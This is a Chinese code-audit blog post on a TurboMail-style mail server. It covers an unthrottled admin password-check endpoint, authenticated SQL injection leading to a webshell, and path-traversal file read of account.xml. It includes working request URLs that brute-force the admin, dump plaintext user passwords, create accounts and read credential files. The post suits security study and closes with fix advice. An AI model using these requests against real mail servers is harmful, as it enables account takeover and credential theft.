分享

某邮件管理系统代码审计

 冲天香阵 2023-10-09 发布于甘肃

我这里本地搭建的5.2.0版本后台貌似只能开启前台用户登录的验证码,管理入口的没找到在哪开启,不过之前在项目上遇到了很多管理入口也是开启验证码的情况,所以这个点还是有价值的~

先看到api.jsp,根据注释提示,这是一个管理员操作用户的接口文件图片

代码量不大,这里直接贴出来,删除注释部分

<%@ page contentType = 'text/html;charset=utf-8' %>
<%@ page import = 'java.util.*' %>
<%@ page import = 'java.text.*' %>
<%@ page import = 'turbomail.web.*' %>
<%@ page import = 'turbomail.util.*' %>
<%@ page import = 'turbomail.mime.*' %>
<%@ page import = 'turbomail.organization.*' %>
<%@ page import = 'java.sql.*' %>
<%@ page import = 'java.io.*' %>

<%
 response.setHeader('Cache-Control''no-cache');
 response.setHeader('Pragma''no-cache');
 response.setDateHeader('Expires'0);

 response.setContentType('text/html;charset=UTF-8');
 if(MailMain.m_tmc == null)
  return;
 
 String pwd = request.getParameter('pwd');
 if (pwd == null) {
  pwd = '';
 }

 UserInfo userinfo = new UserInfo();
 userinfo.setUid('postmaster');

 userinfo.is_first = true;
 userinfo.domain = 'root';

 userinfo.str_cn&nbsp;= 'postmaster'   '@'   'root';

 String strCFPath = MailMain.s_config.getMailDirPath()
     System.getProperty('file.separator')   'root'
     System.getProperty('file.separator')   'postmaster'
     System.getProperty('file.separator')   'account.xml';

 userinfo.account = new UserAccount();
 try {
  if (MailMain.m_tmc.USER_AUTH_TYPE.equals('AUTHCENTER')) {
   userinfo.account.mysqlInit('root''postmaster'false'');
  } else {
   userinfo.account.init(strCFPath);
  }
 } catch (Exception e) {
  e.printStackTrace();
  out.write('-3');
  return;
 }

 if (!userinfo.account.checkPassword(pwd)) {
  out.write('-4');
  return;
 }
%>

<%
 String type = request.getParameter('type');
 if (type == null)
  type = '';

 if (type.equals('add')) {
  UserAccount ua = null;

  try {
   String domain = request.getParameter('domain');
   if (domain == null) {
    out.write('3');
    return;
   }

   String username = request.getParameter('username');
   if (username == null) {
    out.write('4');
    return;
   }
   String password = request.getParameter('password');
   if (password == null) {
    password = '';
   }

   String maxsize = request.getParameter('maxsize');
   if (maxsize == null) {
    maxsize = '-1';
   }
   String maxmsgs = request.getParameter('maxmsgs');
   if (maxmsgs == null) {
    maxmsgs = '-1';
   }

   ua = new UserAccount();
   ua.username = new String(username);
   ua.setPassword_sys(password);
   ua.usertype = 'U';
   ua.m_domain = new String(domain);
   ua.m_UserProfile = new UserProfile();

   ua.m_UserProfile.first_name = username;

   ua.m_UserProfile.last_name = '';
   ua.m_UserProfile.organization = '';
   ua.m_UserProfile.department = '';
   ua.m_UserProfile.address = '';
   ua.m_UserProfile.city = '';
   ua.m_UserProfile.postalcode = '';
   ua.m_UserProfile.telephone = '';
   ua.m_UserProfile.state_province = '';
   ua.m_UserProfile.country = '';
   ua.m_UserProfile.items = 50;

   ua.enable = 'true';
   ua.enable_smtp = 'true';
   ua.enable_pop3 = 'true';
   ua.enable_imap4 = 'true';
   ua.enable_webaccess = 'true';
   ua.enable_localdomain = 'false';

   ua.max_mailbox_size = Integer.parseInt(maxsize);
   ua.max_mailbox_msgs = Integer.parseInt(maxmsgs);
   int iRet = 0;
   try {
    iRet = ua
      .makeUserAccount(MailMain.i18n_resmgr.m_DefResource);
   } catch (Exception e) {
    e.printStackTrace();
    out.write('1');
    return;
   }

   if (iRet != 0) {
    out.write('1');
    return;
   }

  } catch (Exception ee) {
   ee.printStackTrace();
   out.write('1');
   return;
  }

  out.write('0');
  return;
 } else if (type.equals('delete')) {

  String username = request.getParameter('username');
  if (username == null) {
   out.write('1');
   return;
  }

  String domain = request.getParameter('domain');
  if (domain == null) {
   out.write('2');
   return;
  }
  String[] users = new String[1];
  users[0] = username;
  UserAccountAdmin.deleteUserFromName(domain, users);

  out.write('0');
  return;
 } else if (type.equals('edit')) {
  String username = request.getParameter('username');
  if (username == null) {
   out.write('1');
   return;
  }

  String domain = request.getParameter('domain');
  if (domain == null) {
   out.write('2');
   return;
  }

  UserAccount ua = null;

  ua = UserAccountAdmin.getUserAccount(domain, username);
  ua.m_domain = new String(domain);

  String password = request.getParameter('password');
  if (password == null) {
   password = '';
  }

  ua.setPassword_sys(password);

  String first_name = request.getParameter('first_name');
  System.out.println('first_name:'   first_name);
  first_name = Util.formatRequest(first_name, 'iso-8859-1',
    'gb2312');

  ua.m_UserProfile.first_name = first_name;

  int iRet = ua.saveProfile(truefalse);

  if (iRet != 0) {
   out.write('3');
   return;
  }

  out.write('0');
  return;
 } else if (type.equals('getnewmsg')) {

  String username = request.getParameter('username');
  if (username == null) {
   out.write('-1');
   return;
  }

  String domain = request.getParameter('domain');
  if (domain == null) {
   out.write('-2');
   return;
  }

  ArrayList hsFolders = MessageAdmin.getFolderList(domain,
    username, 1);
  if(hsFolders == null){
   out.write('0');
   return;
  }
  
  Folder tempFolder = null;
  tempFolder = MessageAdmin.findFolder(hsFolders, 'new');
  if(tempFolder == null){
   out.write('0');
   return;
  }
  int iNewMsg = tempFolder.iNewMsg;

  out.write((String.valueOf(iNewMsg)));
  return;
 } else if (type.equals('getpassword')) {

  String username = request.getParameter('username');
  if (username == null) {
   out.write('-1');
   return;
  }

  String domain = request.getParameter('domain');
  if (domain == null) {
   out.write('-2');
   return;
  }

  UserAccount ua = UserAccountAdmin.getUserAccount(domain,
    username);

  String userPwd = '-1';

  if (ua != null) {
   userPwd = ua.getOrgPassword();
  }

  out.write(userPwd);
  return;
 } else if (type.equals('setuserorg')) {

  String useraccount = request.getParameter('useraccount');
  if (useraccount == null) {
   out.write('-1');
   return;
  }
  String org_id = request.getParameter('org_id');
  if (org_id == null) {
   out.write('-2');
   return;
  }
  OrgMain org = OrgMain.getOrgMain();
  Department d = org.findDepartment_uid(org_id);
  String deptfullid = org_id;
  if(d != null)
   deptfullid = d.getFullId();
  OrgUserList oul = OrgUserList.getOrgUserList();
  OrgUser ou = oul.findOrgUser(deptfullid, useraccount);
  int iRet = 0;
  if (ou != null) {
   ou.DepartmentFullId = deptfullid;
   oul.save(); 
  } else {
   iRet = oul.addUsers(deptfullid, useraccount, true);
  }
  out.println(iRet);
  return;
 }
%>  

可以看到这里主要是两个代码片段,第一个片段接受pwd参数,第二个片段在走完第一个片段后,接受type参数再根据参数值判断后续流程,如果不传递该参数则不作其他行为。

第一个代码片段创建了一个用户对象,初始化为postmaster用户,这也是系统的内置管理员用户。通过从strCFPath(从该用户目录下的account.xml里面获取密码)或者通过mysqlInit(从数据库中取出该用户的密码),并加入用户对象属性中。

图片

继续往下,有一个userinfo.account.checkPassword(pwd)方法,如果返回为False则输出-4,否则不输出内容。这是一个检查密码正确与否的方法,根据不同的加密类型来处理对比密码,会自动判断处理前端传入的明文。图片

某mail大多数管理员会在后台配置要求验证码导致无法暴力破解。而这里就有了一个无限制爆破内置管理员postmaster用户的接口了。

第二个代码片段就是已知管理员密码后的一些操作了,比较有意思的是“获取用户密码”这个接口

/api.jsp?pwd=管理员密码&type=getpassword&domain=域名&username=用户名

可以直接获取到用户的明文密码图片

另外这里也可以直接创建用户

/api.jsp?pwd=Qq123456&type=add&domain=ssr.com&username=test123&password=test123&maxsize=99999&maxsize=99999
图片

sql注入

这套程序存在大量的sql注入,看了下貌似都是基于认证后的。

比如某mail/scheduler/manager/impl/SchedulerManager.java

 public void del(String scheduleid) {
    Connection conn = null;
    Statement stmt = null;
    String sql = 'delete from t_scheduler where f_id='   scheduleid;
    try {
      conn = SchedulerDB.getConnection();
      stmt = conn.createStatement();
      stmt.executeUpdate(sql);
    } catch (SQLException e) {
      e.printStackTrace();
    } finally {
      SchedulerDB.close(stmt);
      SchedulerDB.close(conn);
    } 
  }

直接拼接scheduleid,往上跟踪

public static void del(boolean bAjax, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    MailSession ms = WebUtil.getms(request, response);
    if (ms == null) {
      if (bAjax) {
        AjaxUtil.ajaxFail(request, response, 'info.nologin'null);
      } else {
        XInfo.gotoInfo(null, request, response, 'info.nologin'null0);
      } 
      return;
    } 
    UserInfo userinfo = ms.userinfo;
    if (userinfo == null) {
      if (bAjax) {
        AjaxUtil.ajaxFail(request, response, 'info.loginfail'null);
      } else {
        XInfo.gotoInfo(null, request, response, 'info.loginfail'null0);
      } 
      return;
    } 
    Hashtable<Object, Object> ht = new Hashtable<Object, Object>();
    String id = WebUtil.getParameter(request, true'id');
    SchedulerManager sm = SchedulerManager.getInstance();
    String guid = WebUtil.getParameter(request, true'guid');
    try {
      ShareAdmin.delShare('', guid);
      sm.del(id);
      sm.delEventByGuid(id);
      AjaxUtil.ajaxSuccess(request, response, 'delsuccess''', ht);
    } catch (Exception e) {
      e.printStackTrace();
      AjaxUtil.ajaxFail(request, response, 'delfail'null);
    } 
  }

可以看到注入参数在id,没有经过任何处理就进来了,继续往上图片图片

直接构造传参即可。

看了下mysql的版本为5.1.45-community,可以尝试写文件getshell,但是JDBC驱动默认不支持堆叠查询,所以这里只能盲注,没啥太大作用,还需要找一个select的语句来执行联合查询来实现getshell

sql注入到getshell

位置:某mail/bookmark/manager/impl/BookmarkTreeManagerImpl.java

public BookmarkTree findBookmarkTree(String id) throws SQLException {
    String sql = 'select * from t_bookmarktree where f_id='   id;
    Connection conn = null;
    Statement stmt = null;
    ResultSet rs = null;
    BookmarkTree bookmarkTree = null;
    try {
      conn = BookmarkTreeDB.getConnection();
      stmt = conn.createStatement();
      rs = stmt.executeQuery(sql);
      while (rs.next()) {
        bookmarkTree = new BookmarkTree();
        bookmarkTree.setId(rs.getString('f_id'));
        bookmarkTree.setName(rs.getString('name'));
        bookmarkTree.setUserName(rs.getString('username'));
        bookmarkTree.setDomain(rs.getString('domain'));
        bookmarkTree.setIsLeaf(rs.getString('isleaf'));
        bookmarkTree.setMoveFlag(rs.getInt('moveflag'));
        bookmarkTree.setPid(rs.getString('f_pid'));
      } 
    } finally {
      BookmarkTreeDB.close(rs);
      BookmarkTreeDB.close(stmt);
    } 
    return bookmarkTree;
  }

往上跟

图片

继续往上图片

图片

看了下t_bookmarktree列数为9图片

直接构造写入即可图片

图片

可以直接打个内存马图片

图片

任意文件读取

这是一个老洞了,之前提到了每个用户目录下存在account.xml文件,里面包含账号密码等信息,可以通过文件读取的方式来获得,是个前台洞。

往上找到公开的的payload如下:

 /viewfile?type=cardpic&mbid=1&msgid=2&logtype=3&view=true&cardid=/accounts/root/postmaster&cardclass=../&filename=/account.xml

实际跟了一下代码发现不需要这么多参数

首先根据servlet走到某mail.web.ViewFile图片

图片

然后是不论如何都会走到GetFile.getfile,由于该方法代码量巨大,这里就不贴了。

根据type=cardpic直接定位到下面的位置图片

这里拿了cardidcardclass这两个参数,经过GreetingCard.getCardRealPath处理,这两个参数用于计算文件的实际路径得到path图片

path = GreetingCard.getCardRealPath(cardclass, cardid);

下面还有一个filename变量,往上看看是怎么来的图片

从请求中查找filename=/的位置并拿到值,然后分别赋值给fisonameContenttypeNamefname

随后构造完整的文件路径

if (AllFileName == null)
    AllFileName = String.valueOf(path)   SysConts.FILE_SEPARATOR   fname;

path(之前由cardclasscardid计算得到)和fname(之前由filename赋值得到)组成。

最后,这些参数被传递给FileManager.GetFile方法,其中AllFileName是完整的文件路径。图片

FileManager.GetFile方法如下:

public static void GetFile(String getType, String base_dir, String filefullname, String orgFileName, HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse, String ContenttypeName, long lStartPos, long lLen) throws IOException {
    int i = filefullname.lastIndexOf('.');
    String s1 = '';
    boolean flag = false;
    if (i > 0 && i != filefullname.length() - 1)
      s1 = filefullname.substring(i   1); 
    String tempFileName = MailCoder.ext_decode_str(ContenttypeName);
    String s3 = getContentType(tempFileName);
    flag = false;
    int j = filefullname.lastIndexOf(separator);
    if (j > 0 && j != filefullname.length() - 1) {
      String s2 = filefullname.substring(j   1);
    } else {
      String s2 = filefullname;
    } 
    httpservletresponse.setContentType(s3);
    if (getType.equals('gf'))
      setHeader(orgFileName, httpservletrequest, httpservletresponse); 
    ServletOutputStream servletoutputstream1 = httpservletresponse
      .getOutputStream();
    File f = new File(filefullname);
    long lLenx = lLen;
    if (lLenx <= 0L) {
      lLenx = f.length();
      lLenx -= lStartPos;
    } 
    httpservletresponse.setContentLength((int)lLenx);
    dumpFile(filefullname, (OutputStream)servletoutputstream1, lStartPos, lLen);
    servletoutputstream1.flush();
    httpservletresponse.setStatus(200);
    httpservletresponse.flushBuffer();
    servletoutputstream1.close();
  }

filefullname,也就是前面说的AllFileName完整路径,通过FileManager.dumpFile方法

private static boolean dumpFile(String s, OutputStream outputstream, long lStartPos, long lLen) {
    byte[] abyte0 = new byte[4096];
    int iBufLen = 4096;
    boolean flag = true;
    try {
      FileInputStream fileinputstream = new FileInputStream(s);
      if (lStartPos > 0L)
        fileinputstream.skip(lStartPos); 
      int i = 0;
      long lRead = 0L;
      int iCurRead = iBufLen;
      while ((i = fileinputstream.read(abyte0, 0, iCurRead)) != -1) {
        outputstream.write(abyte0, 0, i);
        if (lLen > 0L) {
          lRead  = i;
          if (lRead == lLen)
            break
          iCurRead = (int)(lLen - lRead);
          if (iCurRead > iBufLen)
            iCurRead = iBufLen; 
        } 
      } 
      fileinputstream.close();
    } catch (Exception _ex) {
      flag = false;
    } 
    return flag;
  }

最终通过dumpFile来读取并输出account.xml到浏览器图片

去掉3D,然后basedecode就行图片

修复建议

1、针对于api.jsp可以加上一些验证字段来防止爆破,或者根据业务场景避免外部直接访问。 2、针对于sql注入问题,可在全局对sql进行预编译;校验过滤外部传入的参数等。

结尾

1、无凭据情况下只能通过爆破或者读取配置文件来获得凭据,读取配置文件这个漏洞官方已经发布补丁,而暴力破解接口本身算不上什么漏洞,最多算是一个攻击入口。

2、登录后的sqli比较多,但是依赖登录。从代码层面看实际上存在大量的sql注入,但是很多方法中的sql语句里面的数据表实际并不存在(指直接安装完不作别的配置的情况下),所以很多方法中的sqli实际无法利用。建议审计过程中直接根据存在的数据表名去全局搜索sql语句然后回溯。

3、内置的mysql是5.x版本的,想进行监控sql相关的操作得用对应的驱动

4、还有挺多反射xss的,没啥作用就不写了。

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约